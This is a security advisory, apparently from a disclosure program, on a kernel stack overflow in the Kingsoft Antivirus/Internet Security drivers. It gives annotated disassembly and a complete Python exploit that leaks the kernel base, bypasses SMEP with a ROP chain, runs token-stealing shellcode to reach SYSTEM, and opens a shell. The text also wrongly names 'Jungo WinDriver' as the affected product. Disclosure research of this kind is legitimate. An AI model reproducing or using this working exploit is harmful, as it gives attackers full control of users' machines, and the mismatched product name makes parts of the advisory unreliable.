Vulnerability Summary
The following advisory describes a kernel stack
buffer
overflow that leads to privilege escalation found
in
Kingsoft Antivirus
/
Internet Security
9
+
.
Kingsoft Antivirus “provides effective
and
efficient protection solution at no cost to users. It applies cloud security technology to monitor, scan
and
protect your systems without
any
worrying. The comprehensive defender
and
anti
-
virus tools prevent
and
protect your computer
from
unwanted virus, worms,
and
Trojans. With the simplest
and
easiest
-
to
-
use functions, users find themselves no difficulty to handle Kingsoft Antivirus.”
Credit
An independent security researcher, Steven Seeley, has reported this vulnerabilities to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
We tried to contact Kingsoft since October
8
2017
, repeated attempts to establish contact went unanswered. At this time there
is
no solution
or
workaround
for
these vulnerability.
Vulnerability details
This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver.
The specific flaws exists within the processing of IOCTL
0x80030004
or
0x80030008
by either the kavfm.sys (anti
-
virus)
or
the KWatch3.sys (internet security) kernel driver.
The driver doesn’t properly validate user
-
supplied data which can result
in
a kernel stack
buffer
overflow.
An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.
; jumptable
000117C1
case
0
.text:
000117C8
loc_117C8: ; CODE XREF: sub_11790
+
31
.text:
000117C8
.text:
000117C8
push ebx ; our
input
buffer
size
.text:
000117C9
lea ecx, [esp
+
58h
+
var_40] ; this
is
a fixed size stack
buffer
of
0x40
.text:
000117CD
push edi ; our
input
buffer
.text:
000117CE
push ecx ; char
*
.text:
000117CF
call strncpy ; stack
buffer
overflow
.text:
000117D4
add esp,
0Ch
.text:
000117D7
lea edx, [esp
+
54h
+
var_40]
.text:
000117DB
push edx ; char
*
.text:
000117DC
mov [esp
+
ebx
+
58h
+
var_40],
0
.text:
000117E1
call sub_167B0
.text:
000117E6
pop edi
.text:
000117E7
mov esi, eax
.text:
000117E9
pop esi
.text:
000117EA
pop ebp
.text:
000117EB
pop ebx
.text:
000117EC
add esp,
44h
.text:
000117EF
retn
8
Proof of Concept
import
sys
from
ctypes
import
*
from
time
import
sleep
from
ctypes.wintypes
import
*
import
struct
import
os
from
random
import
choice
kernel32
=
windll.kernel32
ntdll
=
windll.ntdll
MEM_COMMIT
=
0x00001000
MEM_RESERVE
=
0x00002000
PAGE_EXECUTE_READWRITE
=
0x00000040
STATUS_SUCCESS
=
0
def
get_ioctl():
return
choice([
0x80030004
,
0x80030008
])
def
alloc_shellcode(base, input_size):
"""
allocates some shellcode
"""
print
"(+) allocating shellcode @ 0x%x"
%
base
baseadd
=
c_int(base)
size
=
c_int(input_size)
# --[ setup]
input
=
struct.pack(
"<I"
,
0x000506f8
)
# bypass smep
# --[ setup]
input
+
=
"\x60"
# pushad
input
+
=
"\x64\xa1\x24\x01\x00\x00"
# mov eax, fs:[KTHREAD_OFFSET]
# I have to do it like this because windows is a little special
# this just gets the EPROCESS. Windows 7 is 0x50, now its 0x80.
input
+
=
"\x8d\x40\x70"
# lea eax, [eax+0x70];
input
+
=
"\x8b\x40\x10"
# mov eax, [eax+0x10];
input
+
=
"\x89\xc1"
# mov ecx, eax (Current _EPROCESS structure)
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input
+
=
"\x8B\x98\xfc\x00\x00\x00"
# mov ebx, [eax + TOKEN_OFFSET]
# --[ copy system PID token]
input
+
=
"\xba\x04\x00\x00\x00"
# mov edx, 4 (SYSTEM PID)
input
+
=
"\x8b\x80\xb8\x00\x00\x00"
# mov eax, [eax + FLINK_OFFSET] <-|
input
+
=
"\x2d\xb8\x00\x00\x00"
# sub eax, FLINK_OFFSET |
input
+
=
"\x39\x90\xb4\x00\x00\x00"
# cmp [eax + PID_OFFSET], edx |
input
+
=
"\x75\xed"
# jnz ->|
# win 10 rs2 x86 TOKEN_OFFSET = 0xfc
# win 07 sp1 x86 TOKEN_OFFSET = 0xf8
input
+
=
"\x8b\x90\xfc\x00\x00\x00"
# mov edx, [eax + TOKEN_OFFSET]
input
+
=
"\x89\x91\xfc\x00\x00\x00"
# mov [ecx + TOKEN_OFFSET], edx
# --[ recover]
input
+
=
"\x61"
# popad
input
+
=
"\x83\xc4\x0c"
# adjust the stack by 0xc
input
+
=
"\x31\xc0"
# return NTSTATUS = STATUS_SUCCESS
input
+
=
"\xc3"
# ret
# filler
input
+
=
"\x43"
*
(input_size
-
len
(
input
))
ntdll.NtAllocateVirtualMemory.argtypes
=
[c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus
=
ntdll.NtAllocateVirtualMemory(
0xffffffff
, byref(baseadd),
0x0
,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if
dwStatus !
=
STATUS_SUCCESS:
print
"(-) Error while allocating memory: %s"
%
hex
(dwStatus
+
0xffffffff
)
return
False
written
=
c_ulong()
write
=
kernel32.WriteProcessMemory(
0xffffffff
, base,
input
,
len
(
input
), byref(written))
if
write
=
=
0
:
print
"(-) Error while writing our input buffer memory: %s"
%
write
return
False
return
True
def
alloc(base, input_size, ip):
baseadd
=
c_int(base)
size
=
c_int(input_size)
input
=
"\x44"
*
0x40
# offset to ip
# start our rop chain
input
+
=
struct.pack(
"<I"
, nt
+
0x51976f
)
# pop ecx; ret
input
+
=
struct.pack(
"<I"
,
0x75757575
)
# junk
input
+
=
struct.pack(
"<I"
,
0x76767676
)
# junk
input
+
=
struct.pack(
"<I"
, ip)
# load 0x506f8
input
+
=
struct.pack(
"<I"
, nt
+
0x04664f
)
# mov eax, [ecx]; ret
input
+
=
struct.pack(
"<I"
, nt
+
0x22f2da
)
# mov cr4,eax; ret
input
+
=
struct.pack(
"<I"
, ip
+
0x4
)
# &shellcode
# filler
input
+
=
"\x43"
*
(input_size
-
len
(
input
))
ntdll.NtAllocateVirtualMemory.argtypes
=
[c_int, POINTER(c_int), c_ulong,
POINTER(c_int), c_int, c_int]
dwStatus
=
ntdll.NtAllocateVirtualMemory(
0xffffffff
, byref(baseadd),
0x0
,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
if
dwStatus !
=
STATUS_SUCCESS:
print
"(-) error while allocating memory: %s"
%
hex
(dwStatus
+
0xffffffff
)
sys.exit()
written
=
c_ulong()
write
=
kernel32.WriteProcessMemory(
0xffffffff
, base,
input
,
len
(
input
), byref(written))
if
write
=
=
0
:
print
"(-) error while writing our input buffer memory: %s"
%
write
sys.exit()
def
we_can_trigger_overflow():
GENERIC_READ
=
0x80000000
GENERIC_WRITE
=
0x40000000
OPEN_EXISTING
=
0x3
IOCTL_VULN
=
get_ioctl()
DEVICE_NAME
=
"\\\\.\\KWatch3"
dwReturn
=
c_ulong()
driver_handle
=
kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0
,
None
, OPEN_EXISTING,
0
,
None
)
ip
=
0x24242424
inputbuffer
=
0x41414141
inputbuffer_size
=
0x60
outputbuffer_size
=
0x1000
outputbuffer
=
0x20000000
alloc(inputbuffer, inputbuffer_size, ip)
alloc_shellcode(ip,
0x100
)
alloc(outputbuffer,
0x100
, ip)
IoStatusBlock
=
c_ulong()
if
driver_handle:
print
"(+) sending stack overflow..."
dev_ioctl
=
ntdll.ZwDeviceIoControlFile(driver_handle,
None
,
None
,
None
,
byref(IoStatusBlock),
IOCTL_VULN,
inputbuffer,
inputbuffer_size,
outputbuffer,
outputbuffer_size
)
return
True
return
False
def
we_can_leak_the_base():
"""
Get kernel base address.
This function uses psapi!EnumDeviceDrivers which is only callable
from a non-restricted caller (medium integrity or higher). Also the
assumption is made that the kernel is the first array element returned.
"""
global
nt
print
"(+) enumerating kernel base address..."
array
=
c_ulonglong
*
1024
lpImageBase
=
array()
szDriver
=
array()
cb
=
sizeof(lpImageBase)
lpcbNeeded
=
c_long()
res
=
windll.psapi.EnumDeviceDrivers(byref(lpImageBase),
sizeof(lpImageBase),
byref(lpcbNeeded))
if
not
res:
print
"(-) unable to get kernel base: "
+
FormatError()
sys.exit(
-
1
)
# nt is the first one
nt
=
lpImageBase[
0
] &
0x00000000ffffffff
return
True
def
main():
print
"\n\t--[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]"
print
"\t Steven Seeley (mr_me) of Source Incite\r\n"
if
we_can_leak_the_base():
print
"(+) found nt base at 0x%08x"
%
(nt)
if
we_can_trigger_overflow():
os.system(
"cmd.exe"
)
else
:
print
"(-) it appears that kingsoft Internet Security is not installed!"
if
__name__
=
=
'__main__'
:
main()